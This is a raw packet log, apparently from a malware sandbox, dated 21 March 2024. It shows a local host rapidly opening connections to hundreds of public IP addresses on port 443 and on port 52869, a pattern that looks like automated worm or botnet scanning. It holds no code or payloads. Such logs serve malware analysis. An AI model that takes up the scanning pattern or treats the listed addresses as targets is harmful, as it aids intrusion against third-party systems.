Mar 21, 2024 05:25:10.942246914 CET	12232	443	192.168.2.23	210.52.8.231
Mar 21, 2024 05:25:10.942246914 CET	12232	443	192.168.2.23	94.96.214.250
Mar 21, 2024 05:25:10.942248106 CET	12232	443	192.168.2.23	118.97.129.78
Mar 21, 2024 05:25:10.942248106 CET	12232	443	192.168.2.23	178.107.180.129
Mar 21, 2024 05:25:10.942250013 CET	12232	443	192.168.2.23	118.174.143.69
Mar 21, 2024 05:25:10.942250013 CET	12232	443	192.168.2.23	178.233.164.146
Mar 21, 2024 05:25:10.942250967 CET	12232	443	192.168.2.23	79.90.152.32
Mar 21, 2024 05:25:10.942255974 CET	443	12232	210.248.156.152	192.168.2.23
Mar 21, 2024 05:25:10.942255974 CET	443	12232	79.90.152.32	192.168.2.23
Mar 21, 2024 05:25:10.942256927 CET	443	12232	118.97.129.78	192.168.2.23
Mar 21, 2024 05:25:10.942257881 CET	443	12232	118.174.143.69	192.168.2.23
Mar 21, 2024 05:25:10.942261934 CET	4296	52869	192.168.2.23	194.98.39.191
Mar 21, 2024 05:25:10.942264080 CET	443	12232	210.52.8.231	192.168.2.23
Mar 21, 2024 05:25:10.942265034 CET	4296	52869	192.168.2.23	142.222.246.184
Mar 21, 2024 05:25:10.942266941 CET	12232	443	192.168.2.23	94.92.217.184
Mar 21, 2024 05:25:10.942267895 CET	443	12232	178.107.180.129	192.168.2.23
Mar 21, 2024 05:25:10.942269087 CET	4296	52869	192.168.2.23	69.150.151.180
Mar 21, 2024 05:25:10.942269087 CET	4296	52869	192.168.2.23	37.82.124.102
Mar 21, 2024 05:25:10.942276001 CET	4296	52869	192.168.2.23	208.52.231.37
Mar 21, 2024 05:25:10.942276001 CET	443	12232	94.92.217.184	192.168.2.23
Mar 21, 2024 05:25:10.942277908 CET	12232	443	192.168.2.23	210.215.147.127
Mar 21, 2024 05:25:10.942280054 CET	12232	443	192.168.2.23	42.89.157.180
Mar 21, 2024 05:25:10.942281961 CET	12232	443	192.168.2.23	2.236.176.37
Mar 21, 2024 05:25:10.942281961 CET	12232	443	192.168.2.23	37.106.220.81
Mar 21, 2024 05:25:10.942285061 CET	443	12232	42.89.157.180	192.168.2.23
Mar 21, 2024 05:25:10.942285061 CET	443	12232	210.215.147.127	192.168.2.23
Mar 21, 2024 05:25:10.942286015 CET	12232	443	192.168.2.23	178.6.248.32
Mar 21, 2024 05:25:10.942286015 CET	12232	443	192.168.2.23	212.185.216.194
Mar 21, 2024 05:25:10.942287922 CET	12232	443	192.168.2.23	5.33.128.100
Mar 21, 2024 05:25:10.942287922 CET	4296	52869	192.168.2.23	131.102.154.2
Mar 21, 2024 05:25:10.942287922 CET	4296	52869	192.168.2.23	184.134.223.162
Mar 21, 2024 05:25:10.942287922 CET	4296	52869	192.168.2.23	93.101.235.47
Mar 21, 2024 05:25:10.942293882 CET	12232	443	192.168.2.23	212.78.79.199
Mar 21, 2024 05:25:10.942293882 CET	4296	52869	192.168.2.23	158.110.142.100
Mar 21, 2024 05:25:10.942295074 CET	443	12232	178.6.248.32	192.168.2.23
Mar 21, 2024 05:25:10.942295074 CET	4296	52869	192.168.2.23	64.190.33.124
Mar 21, 2024 05:25:10.942295074 CET	443	12232	2.236.176.37	192.168.2.23
Mar 21, 2024 05:25:10.942295074 CET	4296	52869	192.168.2.23	74.184.14.117
Mar 21, 2024 05:25:10.942297935 CET	443	12232	5.33.128.100	192.168.2.23
Mar 21, 2024 05:25:10.942295074 CET	4296	52869	192.168.2.23	113.252.0.94
Mar 21, 2024 05:25:10.942301989 CET	443	12232	212.78.79.199	192.168.2.23
Mar 21, 2024 05:25:10.942295074 CET	12232	443	192.168.2.23	118.174.143.69
Mar 21, 2024 05:25:10.942296028 CET	4296	52869	192.168.2.23	14.92.248.159
Mar 21, 2024 05:25:10.942302942 CET	443	12232	212.185.216.194	192.168.2.23
Mar 21, 2024 05:25:10.942305088 CET	443	12232	37.106.220.81	192.168.2.23
Mar 21, 2024 05:25:10.942306042 CET	12232	443	192.168.2.23	210.248.156.152
Mar 21, 2024 05:25:10.942306042 CET	12232	443	192.168.2.23	210.52.8.231
Mar 21, 2024 05:25:10.942311049 CET	4296	52869	192.168.2.23	96.118.79.0
Mar 21, 2024 05:25:10.942311049 CET	12232	443	192.168.2.23	79.90.152.32
Mar 21, 2024 05:25:10.942312002 CET	12232	443	192.168.2.23	178.107.180.129
Mar 21, 2024 05:25:10.942312002 CET	12232	443	192.168.2.23	118.97.129.78
Mar 21, 2024 05:25:10.942312002 CET	4296	52869	192.168.2.23	202.223.104.186
Mar 21, 2024 05:25:10.942312956 CET	12232	443	192.168.2.23	118.82.70.85
Mar 21, 2024 05:25:10.942312956 CET	4296	52869	192.168.2.23	132.58.95.226
Mar 21, 2024 05:25:10.942315102 CET	12232	443	192.168.2.23	94.92.217.184
Mar 21, 2024 05:25:10.942315102 CET	12232	443	192.168.2.23	2.247.58.109
Mar 21, 2024 05:25:10.942315102 CET	12232	443	192.168.2.23	109.114.179.192
Mar 21, 2024 05:25:10.942321062 CET	12232	443	192.168.2.23	210.20.197.113
Mar 21, 2024 05:25:10.942321062 CET	12232	443	192.168.2.23	42.89.157.180
Mar 21, 2024 05:25:10.942323923 CET	4296	52869	192.168.2.23	46.57.250.117
Mar 21, 2024 05:25:10.942323923 CET	12232	443	192.168.2.23	212.154.12.118
Mar 21, 2024 05:25:10.942323923 CET	12232	443	192.168.2.23	178.6.248.32
Mar 21, 2024 05:25:10.942323923 CET	12232	443	192.168.2.23	212.78.79.199
Mar 21, 2024 05:25:10.942323923 CET	12232	443	192.168.2.23	212.185.216.194
Mar 21, 2024 05:25:10.942327023 CET	443	12232	2.247.58.109	192.168.2.23
Mar 21, 2024 05:25:10.942327976 CET	443	12232	210.20.197.113	192.168.2.23
Mar 21, 2024 05:25:10.942327976 CET	443	12232	118.82.70.85	192.168.2.23
Mar 21, 2024 05:25:10.942334890 CET	443	12232	212.154.12.118	192.168.2.23
Mar 21, 2024 05:25:10.942336082 CET	12232	443	192.168.2.23	2.236.176.37
Mar 21, 2024 05:25:10.942336082 CET	443	12232	109.114.179.192	192.168.2.23
Mar 21, 2024 05:25:10.942336082 CET	12232	443	192.168.2.23	37.106.220.81
Mar 21, 2024 05:25:10.942336082 CET	12232	443	192.168.2.23	2.108.10.178
Mar 21, 2024 05:25:10.942343950 CET	12232	443	192.168.2.23	210.215.147.127
Mar 21, 2024 05:25:10.942344904 CET	12232	443	192.168.2.23	5.33.128.100
Mar 21, 2024 05:25:10.942344904 CET	4296	52869	192.168.2.23	57.11.92.81
Mar 21, 2024 05:25:10.942347050 CET	12232	443	192.168.2.23	5.210.222.214
Mar 21, 2024 05:25:10.942348003 CET	443	12232	2.108.10.178	192.168.2.23
Mar 21, 2024 05:25:10.942352057 CET	4296	52869	192.168.2.23	150.239.90.46
Mar 21, 2024 05:25:10.942352057 CET	12232	443	192.168.2.23	210.20.197.113
Mar 21, 2024 05:25:10.942352057 CET	443	12232	5.210.222.214	192.168.2.23
Mar 21, 2024 05:25:10.942363977 CET	4296	52869	192.168.2.23	31.223.244.49
Mar 21, 2024 05:25:10.942363977 CET	12232	443	192.168.2.23	118.82.70.85
Mar 21, 2024 05:25:10.942368031 CET	12232	443	192.168.2.23	2.247.58.109
Mar 21, 2024 05:25:10.942368031 CET	12232	443	192.168.2.23	109.114.179.192
Mar 21, 2024 05:25:10.942375898 CET	12232	443	192.168.2.23	212.154.12.118
Mar 21, 2024 05:25:10.942375898 CET	12232	443	192.168.2.23	2.108.10.178
Mar 21, 2024 05:25:10.942375898 CET	12232	443	192.168.2.23	5.210.222.214
Mar 21, 2024 05:25:10.942393064 CET	12232	443	192.168.2.23	37.119.187.97
Mar 21, 2024 05:25:10.942400932 CET	443	12232	37.119.187.97	192.168.2.23
Mar 21, 2024 05:25:10.942410946 CET	12232	443	192.168.2.23	94.96.220.246
Mar 21, 2024 05:25:10.942411900 CET	12232	443	192.168.2.23	212.6.93.87
Mar 21, 2024 05:25:10.942411900 CET	12232	443	192.168.2.23	212.224.76.28
Mar 21, 2024 05:25:10.942413092 CET	12232	443	192.168.2.23	210.60.209.103
Mar 21, 2024 05:25:10.942413092 CET	12232	443	192.168.2.23	109.78.154.195
Mar 21, 2024 05:25:10.942413092 CET	4296	52869	192.168.2.23	80.67.64.37
Mar 21, 2024 05:25:10.942419052 CET	443	12232	94.96.220.246	192.168.2.23
Mar 21, 2024 05:25:10.942420959 CET	443	12232	210.60.209.103	192.168.2.23
Mar 21, 2024 05:25:10.942421913 CET	443	12232	212.6.93.87	192.168.2.23
Mar 21, 2024 05:25:10.942421913 CET	4296	52869	192.168.2.23	62.0.150.130
Mar 21, 2024 05:25:10.942421913 CET	4296	52869	192.168.2.23	189.181.66.222
Mar 21, 2024 05:25:10.942423105 CET	12232	443	192.168.2.23	94.26.226.191
Mar 21, 2024 05:25:10.942423105 CET	12232	443	192.168.2.23	5.207.151.58
Mar 21, 2024 05:25:10.942423105 CET	12232	443	192.168.2.23	79.208.92.95
Mar 21, 2024 05:25:10.942423105 CET	4296	52869	192.168.2.23	85.116.69.106
Mar 21, 2024 05:25:10.942426920 CET	12232	443	192.168.2.23	79.81.239.179
Mar 21, 2024 05:25:10.942426920 CET	12232	443	192.168.2.23	79.15.35.58
Mar 21, 2024 05:25:10.942426920 CET	4296	52869	192.168.2.23	31.220.233.138
Mar 21, 2024 05:25:10.942430973 CET	443	12232	109.78.154.195	192.168.2.23
Mar 21, 2024 05:25:10.942434072 CET	443	12232	212.224.76.28	192.168.2.23
Mar 21, 2024 05:25:10.942437887 CET	443	12232	5.207.151.58	192.168.2.23
Mar 21, 2024 05:25:10.942439079 CET	12232	443	192.168.2.23	37.198.163.97
Mar 21, 2024 05:25:10.942440987 CET	443	12232	94.26.226.191	192.168.2.23
Mar 21, 2024 05:25:10.942439079 CET	443	12232	79.81.239.179	192.168.2.23
Mar 21, 2024 05:25:10.942444086 CET	4296	52869	192.168.2.23	126.35.232.243
Mar 21, 2024 05:25:10.942440033 CET	12232	443	192.168.2.23	210.195.242.25
Mar 21, 2024 05:25:10.942444086 CET	12232	443	192.168.2.23	178.60.174.134
Mar 21, 2024 05:25:10.942439079 CET	12232	443	192.168.2.23	2.209.13.195
Mar 21, 2024 05:25:10.942444086 CET	4296	52869	192.168.2.23	91.133.118.78
Mar 21, 2024 05:25:10.942444086 CET	4296	52869	192.168.2.23	219.1.24.34
Mar 21, 2024 05:25:10.942439079 CET	4296	52869	192.168.2.23	128.216.21.68
Mar 21, 2024 05:25:10.942439079 CET	12232	443	192.168.2.23	37.119.187.97
Mar 21, 2024 05:25:10.942454100 CET	443	12232	210.195.242.25	192.168.2.23
Mar 21, 2024 05:25:10.942456007 CET	443	12232	37.198.163.97	192.168.2.23
Mar 21, 2024 05:25:10.942456007 CET	443	12232	178.60.174.134	192.168.2.23
Mar 21, 2024 05:25:10.942456961 CET	4296	52869	192.168.2.23	187.193.173.223
Mar 21, 2024 05:25:10.942456961 CET	443	12232	79.208.92.95	192.168.2.23
Mar 21, 2024 05:25:10.942460060 CET	4296	52869	192.168.2.23	124.203.158.250
Mar 21, 2024 05:25:10.942460060 CET	12232	443	192.168.2.23	212.6.93.87
Mar 21, 2024 05:25:10.942462921 CET	12232	443	192.168.2.23	210.157.228.39
Mar 21, 2024 05:25:10.942462921 CET	4296	52869	192.168.2.23	2.184.188.226
Mar 21, 2024 05:25:10.942462921 CET	4296	52869	192.168.2.23	221.116.9.247
Mar 21, 2024 05:25:10.942462921 CET	12232	443	192.168.2.23	37.182.194.59
Mar 21, 2024 05:25:10.942462921 CET	12232	443	192.168.2.23	210.215.154.144
Mar 21, 2024 05:25:10.942466021 CET	443	12232	2.209.13.195	192.168.2.23
Mar 21, 2024 05:25:10.942466021 CET	443	12232	79.15.35.58	192.168.2.23
Mar 21, 2024 05:25:10.942471981 CET	12232	443	192.168.2.23	118.132.224.113
Mar 21, 2024 05:25:10.942471981 CET	12232	443	192.168.2.23	2.244.219.237
Mar 21, 2024 05:25:10.942472935 CET	4296	52869	192.168.2.23	92.33.34.50
Mar 21, 2024 05:25:10.942475080 CET	4296	52869	192.168.2.23	89.250.209.227
Mar 21, 2024 05:25:10.942476034 CET	4296	52869	192.168.2.23	130.165.253.170
Mar 21, 2024 05:25:10.942472935 CET	4296	52869	192.168.2.23	138.67.137.99
Mar 21, 2024 05:25:10.942476988 CET	12232	443	192.168.2.23	94.26.226.191
Mar 21, 2024 05:25:10.942472935 CET	12232	443	192.168.2.23	210.37.243.99
Mar 21, 2024 05:25:10.942475080 CET	12232	443	192.168.2.23	178.17.228.29
Mar 21, 2024 05:25:10.942477942 CET	4296	52869	192.168.2.23	176.186.52.35
Mar 21, 2024 05:25:10.942476988 CET	4296	52869	192.168.2.23	186.125.176.129
Mar 21, 2024 05:25:10.942477942 CET	12232	443	192.168.2.23	118.20.187.223
Mar 21, 2024 05:25:10.942477942 CET	12232	443	192.168.2.23	210.60.209.103
Mar 21, 2024 05:25:10.942475080 CET	12232	443	192.168.2.23	2.135.184.91
Mar 21, 2024 05:25:10.942477942 CET	12232	443	192.168.2.23	109.78.154.195
Mar 21, 2024 05:25:10.942476988 CET	443	12232	210.157.228.39	192.168.2.23
Mar 21, 2024 05:25:10.942475080 CET	12232	443	192.168.2.23	118.133.191.26
Mar 21, 2024 05:25:10.942485094 CET	12232	443	192.168.2.23	212.224.76.28
Mar 21, 2024 05:25:10.942476034 CET	12232	443	192.168.2.23	94.96.220.246
Mar 21, 2024 05:25:10.942485094 CET	4296	52869	192.168.2.23	202.83.25.76
Mar 21, 2024 05:25:10.942476034 CET	4296	52869	192.168.2.23	85.56.168.197
Mar 21, 2024 05:25:10.942491055 CET	443	12232	210.37.243.99	192.168.2.23
Mar 21, 2024 05:25:10.942491055 CET	12232	443	192.168.2.23	210.195.242.25
Mar 21, 2024 05:25:10.942492008 CET	443	12232	118.132.224.113	192.168.2.23
Mar 21, 2024 05:25:10.942476034 CET	12232	443	192.168.2.23	79.81.239.179
Mar 21, 2024 05:25:10.942496061 CET	12232	443	192.168.2.23	79.208.92.95
Mar 21, 2024 05:25:10.942496061 CET	12232	443	192.168.2.23	2.115.68.57
Mar 21, 2024 05:25:10.942502975 CET	443	12232	118.20.187.223	192.168.2.23
Mar 21, 2024 05:25:10.942504883 CET	12232	443	192.168.2.23	37.198.163.97
Mar 21, 2024 05:25:10.942504883 CET	12232	443	192.168.2.23	2.209.13.195
Mar 21, 2024 05:25:10.942506075 CET	443	12232	2.244.219.237	192.168.2.23
Mar 21, 2024 05:25:10.942507982 CET	12232	443	192.168.2.23	178.60.174.134
Mar 21, 2024 05:25:10.942507029 CET	4296	52869	192.168.2.23	79.179.147.62
Mar 21, 2024 05:25:10.942509890 CET	443	12232	2.115.68.57	192.168.2.23
Mar 21, 2024 05:25:10.942509890 CET	443	12232	178.17.228.29	192.168.2.23
Mar 21, 2024 05:25:10.942508936 CET	443	12232	37.182.194.59	192.168.2.23
Mar 21, 2024 05:25:10.942518950 CET	4296	52869	192.168.2.23	60.184.118.126
Mar 21, 2024 05:25:10.942519903 CET	443	12232	2.135.184.91	192.168.2.23
Mar 21, 2024 05:25:10.942522049 CET	12232	443	192.168.2.23	210.37.243.99
Mar 21, 2024 05:25:10.942523003 CET	12232	443	192.168.2.23	37.77.151.144
Mar 21, 2024 05:25:10.942523003 CET	4296	52869	192.168.2.23	38.43.52.24
Mar 21, 2024 05:25:10.942523956 CET	4296	52869	192.168.2.23	117.20.128.48
Mar 21, 2024 05:25:10.942524910 CET	443	12232	210.215.154.144	192.168.2.23
Mar 21, 2024 05:25:10.942523956 CET	12232	443	192.168.2.23	42.164.23.82
Mar 21, 2024 05:25:10.942523956 CET	4296	52869	192.168.2.23	149.159.123.180
Mar 21, 2024 05:25:10.942523956 CET	12232	443	192.168.2.23	118.132.224.113
Mar 21, 2024 05:25:10.942528009 CET	12232	443	192.168.2.23	118.20.187.223
Mar 21, 2024 05:25:10.942528963 CET	443	12232	118.133.191.26	192.168.2.23
Mar 21, 2024 05:25:10.942533016 CET	443	12232	37.77.151.144	192.168.2.23
Mar 21, 2024 05:25:10.942538977 CET	443	12232	42.164.23.82	192.168.2.23
Mar 21, 2024 05:25:10.942543983 CET	12232	443	192.168.2.23	79.15.35.58
Mar 21, 2024 05:25:10.942544937 CET	12232	443	192.168.2.23	2.115.68.57
Mar 21, 2024 05:25:10.942543983 CET	12232	443	192.168.2.23	37.195.73.244
Mar 21, 2024 05:25:10.942547083 CET	12232	443	192.168.2.23	5.207.151.58
Mar 21, 2024 05:25:10.942547083 CET	12232	443	192.168.2.23	94.92.78.62
Mar 21, 2024 05:25:10.942543983 CET	4296	52869	192.168.2.23	34.217.134.139
Mar 21, 2024 05:25:10.942547083 CET	4296	52869	192.168.2.23	53.209.131.195
Mar 21, 2024 05:25:10.942543983 CET	4296	52869	192.168.2.23	171.132.239.158
Mar 21, 2024 05:25:10.942552090 CET	12232	443	192.168.2.23	37.77.151.144
Mar 21, 2024 05:25:10.942548037 CET	12232	443	192.168.2.23	210.157.228.39
Mar 21, 2024 05:25:10.942548037 CET	12232	443	192.168.2.23	37.182.194.59
Mar 21, 2024 05:25:10.942543983 CET	12232	443	192.168.2.23	178.17.228.29
Mar 21, 2024 05:25:10.942548037 CET	12232	443	192.168.2.23	210.215.154.144
Mar 21, 2024 05:25:10.942555904 CET	4296	52869	192.168.2.23	131.14.244.74
Mar 21, 2024 05:25:10.942549944 CET	12232	443	192.168.2.23	2.244.219.237
Mar 21, 2024 05:25:10.942563057 CET	12232	443	192.168.2.23	42.164.23.82
Mar 21, 2024 05:25:10.942564011 CET	443	12232	37.195.73.244	192.168.2.23
Mar 21, 2024 05:25:10.942569017 CET	4296	52869	192.168.2.23	13.187.64.21
Mar 21, 2024 05:25:10.942569017 CET	443	12232	94.92.78.62	192.168.2.23
Mar 21, 2024 05:25:10.942570925 CET	4296	52869	192.168.2.23	50.23.222.121
Mar 21, 2024 05:25:10.942574978 CET	4296	52869	192.168.2.23	102.81.200.107
Mar 21, 2024 05:25:10.942575932 CET	4296	52869	192.168.2.23	98.232.122.35
Mar 21, 2024 05:25:10.942575932 CET	12232	443	192.168.2.23	42.42.226.176
Mar 21, 2024 05:25:10.942583084 CET	12232	443	192.168.2.23	2.135.184.91
Mar 21, 2024 05:25:10.942583084 CET	12232	443	192.168.2.23	118.133.191.26
Mar 21, 2024 05:25:10.942583084 CET	12232	443	192.168.2.23	210.168.171.70
Mar 21, 2024 05:25:10.942584991 CET	443	12232	42.42.226.176	192.168.2.23
Mar 21, 2024 05:25:10.942589045 CET	4296	52869	192.168.2.23	200.136.181.154
Mar 21, 2024 05:25:10.942594051 CET	4296	52869	192.168.2.23	221.190.211.155
Mar 21, 2024 05:25:10.942596912 CET	12232	443	192.168.2.23	178.77.186.185
Mar 21, 2024 05:25:10.942598104 CET	443	12232	210.168.171.70	192.168.2.23
Mar 21, 2024 05:25:10.942599058 CET	12232	443	192.168.2.23	94.92.78.62
Mar 21, 2024 05:25:10.942600965 CET	12232	443	192.168.2.23	94.166.240.198
Mar 21, 2024 05:25:10.942601919 CET	443	12232	178.77.186.185	192.168.2.23
Mar 21, 2024 05:25:10.942605972 CET	12232	443	192.168.2.23	37.195.73.244
Mar 21, 2024 05:25:10.942606926 CET	443	12232	94.166.240.198	192.168.2.23
Mar 21, 2024 05:25:10.942605972 CET	12232	443	192.168.2.23	109.223.248.223
Mar 21, 2024 05:25:10.942610025 CET	12232	443	192.168.2.23	79.201.96.79
Mar 21, 2024 05:25:10.942610979 CET	12232	443	192.168.2.23	42.42.226.176
Mar 21, 2024 05:25:10.942615986 CET	443	12232	109.223.248.223	192.168.2.23
Mar 21, 2024 05:25:10.942620993 CET	443	12232	79.201.96.79	192.168.2.23
Mar 21, 2024 05:25:10.942629099 CET	12232	443	192.168.2.23	212.209.9.253
Mar 21, 2024 05:25:10.942634106 CET	443	12232	212.209.9.253	192.168.2.23
Mar 21, 2024 05:25:10.942735910 CET	12232	443	192.168.2.23	210.168.171.70
Mar 21, 2024 05:25:10.942735910 CET	12232	443	192.168.2.23	109.223.248.223
Mar 21, 2024 05:25:10.942743063 CET	12232	443	192.168.2.23	178.77.186.185
Mar 21, 2024 05:25:10.942758083 CET	12232	443	192.168.2.23	94.166.240.198
Mar 21, 2024 05:25:10.942761898 CET	12232	443	192.168.2.23	79.201.96.79
Mar 21, 2024 05:25:10.942764997 CET	12232	443	192.168.2.23	212.209.9.253
Mar 21, 2024 05:25:10.942784071 CET	12232	443	192.168.2.23	212.20.47.24
Mar 21, 2024 05:25:10.942789078 CET	443	12232	212.20.47.24	192.168.2.23
Mar 21, 2024 05:25:10.942787886 CET	12232	443	192.168.2.23	79.196.191.76
Mar 21, 2024 05:25:10.942790985 CET	12232	443	192.168.2.23	94.45.199.50
Mar 21, 2024 05:25:10.942795038 CET	12232	443	192.168.2.23	212.12.109.36
Mar 21, 2024 05:25:10.942799091 CET	443	12232	94.45.199.50	192.168.2.23
Mar 21, 2024 05:25:10.942799091 CET	443	12232	79.196.191.76	192.168.2.23
Mar 21, 2024 05:25:10.942800045 CET	12232	443	192.168.2.23	118.71.84.13
Mar 21, 2024 05:25:10.942800999 CET	12232	443	192.168.2.23	94.36.169.232
Mar 21, 2024 05:25:10.942806005 CET	443	12232	212.12.109.36	192.168.2.23
Mar 21, 2024 05:25:10.942806005 CET	443	12232	118.71.84.13	192.168.2.23
Mar 21, 2024 05:25:10.942807913 CET	12232	443	192.168.2.23	42.175.245.245
Mar 21, 2024 05:25:10.942811012 CET	443	12232	94.36.169.232	192.168.2.23
Mar 21, 2024 05:25:10.942814112 CET	12232	443	192.168.2.23	79.61.41.15
Mar 21, 2024 05:25:10.942817926 CET	443	12232	42.175.245.245	192.168.2.23
Mar 21, 2024 05:25:10.942820072 CET	443	12232	79.61.41.15	192.168.2.23
Mar 21, 2024 05:25:10.942823887 CET	4296	52869	192.168.2.23	140.95.82.211
Mar 21, 2024 05:25:10.942823887 CET	12232	443	192.168.2.23	5.149.17.148
Mar 21, 2024 05:25:10.942826033 CET	12232	443	192.168.2.23	178.226.15.33
Mar 21, 2024 05:25:10.942828894 CET	12232	443	192.168.2.23	109.246.28.132
Mar 21, 2024 05:25:10.942828894 CET	4296	52869	192.168.2.23	138.165.6.165
Mar 21, 2024 05:25:10.942828894 CET	4296	52869	192.168.2.23	205.142.82.90
Mar 21, 2024 05:25:10.942828894 CET	4296	52869	192.168.2.23	58.174.37.71
Mar 21, 2024 05:25:10.942828894 CET	12232	443	192.168.2.23	94.142.249.55
Mar 21, 2024 05:25:10.942833900 CET	443	12232	178.226.15.33	192.168.2.23
Mar 21, 2024 05:25:10.942833900 CET	12232	443	192.168.2.23	178.7.1.82
Mar 21, 2024 05:25:10.942833900 CET	12232	443	192.168.2.23	37.185.226.230
Mar 21, 2024 05:25:10.942837000 CET	443	12232	5.149.17.148	192.168.2.23
Mar 21, 2024 05:25:10.942840099 CET	443	12232	109.246.28.132	192.168.2.23
Mar 21, 2024 05:25:10.942842007 CET	443	12232	94.142.249.55	192.168.2.23
Mar 21, 2024 05:25:10.942842960 CET	12232	443	192.168.2.23	118.71.84.13
Mar 21, 2024 05:25:10.942845106 CET	443	12232	178.7.1.82	192.168.2.23
Mar 21, 2024 05:25:10.942845106 CET	12232	443	192.168.2.23	212.20.47.24
Mar 21, 2024 05:25:10.942847967 CET	12232	443	192.168.2.23	42.175.245.245
Mar 21, 2024 05:25:10.942847013 CET	12232	443	192.168.2.23	118.207.233.212
Mar 21, 2024 05:25:10.942848921 CET	12232	443	192.168.2.23	79.196.191.76
Mar 21, 2024 05:25:10.942847013 CET	12232	443	192.168.2.23	94.45.199.50
Mar 21, 2024 05:25:10.942856073 CET	12232	443	192.168.2.23	94.36.169.232
Mar 21, 2024 05:25:10.942857981 CET	443	12232	37.185.226.230	192.168.2.23
Mar 21, 2024 05:25:10.942857981 CET	443	12232	118.207.233.212	192.168.2.23
Mar 21, 2024 05:25:10.942861080 CET	12232	443	192.168.2.23	79.61.41.15
Mar 21, 2024 05:25:10.942872047 CET	12232	443	192.168.2.23	5.149.17.148
Mar 21, 2024 05:25:10.942878962 CET	12232	443	192.168.2.23	212.12.109.36
Mar 21, 2024 05:25:10.942878962 CET	12232	443	192.168.2.23	178.7.1.82
Mar 21, 2024 05:25:10.942882061 CET	12232	443	192.168.2.23	94.142.249.55
Mar 21, 2024 05:25:10.942893028 CET	12232	443	192.168.2.23	37.185.226.230
Mar 21, 2024 05:25:10.942931890 CET	12232	443	192.168.2.23	178.226.15.33
Mar 21, 2024 05:25:10.942938089 CET	12232	443	192.168.2.23	109.246.28.132
Mar 21, 2024 05:25:10.942948103 CET	12232	443	192.168.2.23	118.207.233.212
Mar 21, 2024 05:25:10.943011045 CET	4296	52869	192.168.2.23	141.77.177.60
Mar 21, 2024 05:25:10.943011045 CET	4296	52869	192.168.2.23	37.72.27.143
Mar 21, 2024 05:25:10.943015099 CET	4296	52869	192.168.2.23	49.191.215.137
Mar 21, 2024 05:25:10.943015099 CET	4296	52869	192.168.2.23	150.148.95.240
Mar 21, 2024 05:25:10.943021059 CET	4296	52869	192.168.2.23	202.226.232.1
Mar 21, 2024 05:25:10.943021059 CET	4296	52869	192.168.2.23	168.138.181.186
Mar 21, 2024 05:25:10.943022013 CET	4296	52869	192.168.2.23	192.203.56.94
Mar 21, 2024 05:25:10.943027020 CET	4296	52869	192.168.2.23	140.90.95.8
Mar 21, 2024 05:25:10.943041086 CET	4296	52869	192.168.2.23	212.216.65.36
Mar 21, 2024 05:25:10.943054914 CET	4296	52869	192.168.2.23	110.138.42.73
Mar 21, 2024 05:25:10.943070889 CET	4296	52869	192.168.2.23	189.141.106.209
Mar 21, 2024 05:25:10.943072081 CET	4296	52869	192.168.2.23	101.128.26.238
Mar 21, 2024 05:25:10.943080902 CET	4296	52869	192.168.2.23	27.18.238.199
Mar 21, 2024 05:25:10.943083048 CET	4296	52869	192.168.2.23	78.33.187.148
Mar 21, 2024 05:25:10.943083048 CET	4296	52869	192.168.2.23	166.231.241.171
Mar 21, 2024 05:25:10.943088055 CET	4296	52869	192.168.2.23	122.17.145.4
Mar 21, 2024 05:25:10.943088055 CET	4296	52869	192.168.2.23	109.88.63.58
Mar 21, 2024 05:25:10.943099022 CET	4296	52869	192.168.2.23	104.163.77.58
Mar 21, 2024 05:25:10.943100929 CET	4296	52869	192.168.2.23	88.201.186.239
Mar 21, 2024 05:25:10.943109989 CET	4296	52869	192.168.2.23	187.204.195.201
Mar 21, 2024 05:25:10.943116903 CET	4296	52869	192.168.2.23	54.129.73.129
Mar 21, 2024 05:25:10.943125963 CET	4296	52869	192.168.2.23	60.170.96.96
Mar 21, 2024 05:25:10.943152905 CET	4296	52869	192.168.2.23	145.35.79.40
Mar 21, 2024 05:25:10.943152905 CET	4296	52869	192.168.2.23	160.209.11.146
Mar 21, 2024 05:25:10.943156004 CET	4296	52869	192.168.2.23	176.10.158.0
Mar 21, 2024 05:25:10.943171024 CET	4296	52869	192.168.2.23	179.143.207.112
Mar 21, 2024 05:25:10.943172932 CET	4296	52869	192.168.2.23	130.32.47.18
Mar 21, 2024 05:25:10.943183899 CET	4296	52869	192.168.2.23	152.208.188.209
Mar 21, 2024 05:25:10.943187952 CET	4296	52869	192.168.2.23	190.89.200.40
Mar 21, 2024 05:25:10.943193913 CET	4296	52869	192.168.2.23	25.45.86.231
Mar 21, 2024 05:25:10.943221092 CET	4296	52869	192.168.2.23	35.131.94.148
Mar 21, 2024 05:25:10.943223953 CET	4296	52869	192.168.2.23	153.109.251.197
Mar 21, 2024 05:25:10.943224907 CET	4296	52869	192.168.2.23	155.51.200.213
Mar 21, 2024 05:25:10.943233013 CET	4296	52869	192.168.2.23	69.72.71.62
Mar 21, 2024 05:25:10.943233013 CET	4296	52869	192.168.2.23	151.5.71.234
Mar 21, 2024 05:25:10.943233013 CET	4296	52869	192.168.2.23	212.227.253.252
Mar 21, 2024 05:25:10.943240881 CET	4296	52869	192.168.2.23	137.244.101.247
Mar 21, 2024 05:25:10.943242073 CET	4296	52869	192.168.2.23	18.29.157.214
Mar 21, 2024 05:25:10.943253994 CET	4296	52869	192.168.2.23	20.209.5.213
Mar 21, 2024 05:25:10.943264008 CET	4296	52869	192.168.2.23	86.92.131.67
Mar 21, 2024 05:25:10.943264008 CET	4296	52869	192.168.2.23	187.126.134.34
Mar 21, 2024 05:25:10.943269014 CET	4296	52869	192.168.2.23	134.131.255.231
Mar 21, 2024 05:25:10.943269968 CET	4296	52869	192.168.2.23	173.226.156.108
Mar 21, 2024 05:25:10.943273067 CET	4296	52869	192.168.2.23	95.107.116.35
Mar 21, 2024 05:25:10.943274021 CET	4296	52869	192.168.2.23	115.164.49.252
Mar 21, 2024 05:25:10.943279982 CET	4296	52869	192.168.2.23	59.135.85.146
Mar 21, 2024 05:25:10.943299055 CET	4296	52869	192.168.2.23	115.219.9.75
Mar 21, 2024 05:25:10.943310976 CET	4296	52869	192.168.2.23	198.224.89.51
Mar 21, 2024 05:25:10.943320990 CET	4296	52869	192.168.2.23	201.219.116.254
Mar 21, 2024 05:25:10.943329096 CET	4296	52869	192.168.2.23	24.200.16.101
Mar 21, 2024 05:25:10.943329096 CET	4296	52869	192.168.2.23	188.37.213.12
Mar 21, 2024 05:25:10.943331003 CET	4296	52869	192.168.2.23	39.26.6.131
Mar 21, 2024 05:25:10.943332911 CET	4296	52869	192.168.2.23	80.221.132.123
Mar 21, 2024 05:25:10.943337917 CET	4296	52869	192.168.2.23	59.74.91.116
Mar 21, 2024 05:25:10.943340063 CET	4296	52869	192.168.2.23	176.65.189.203
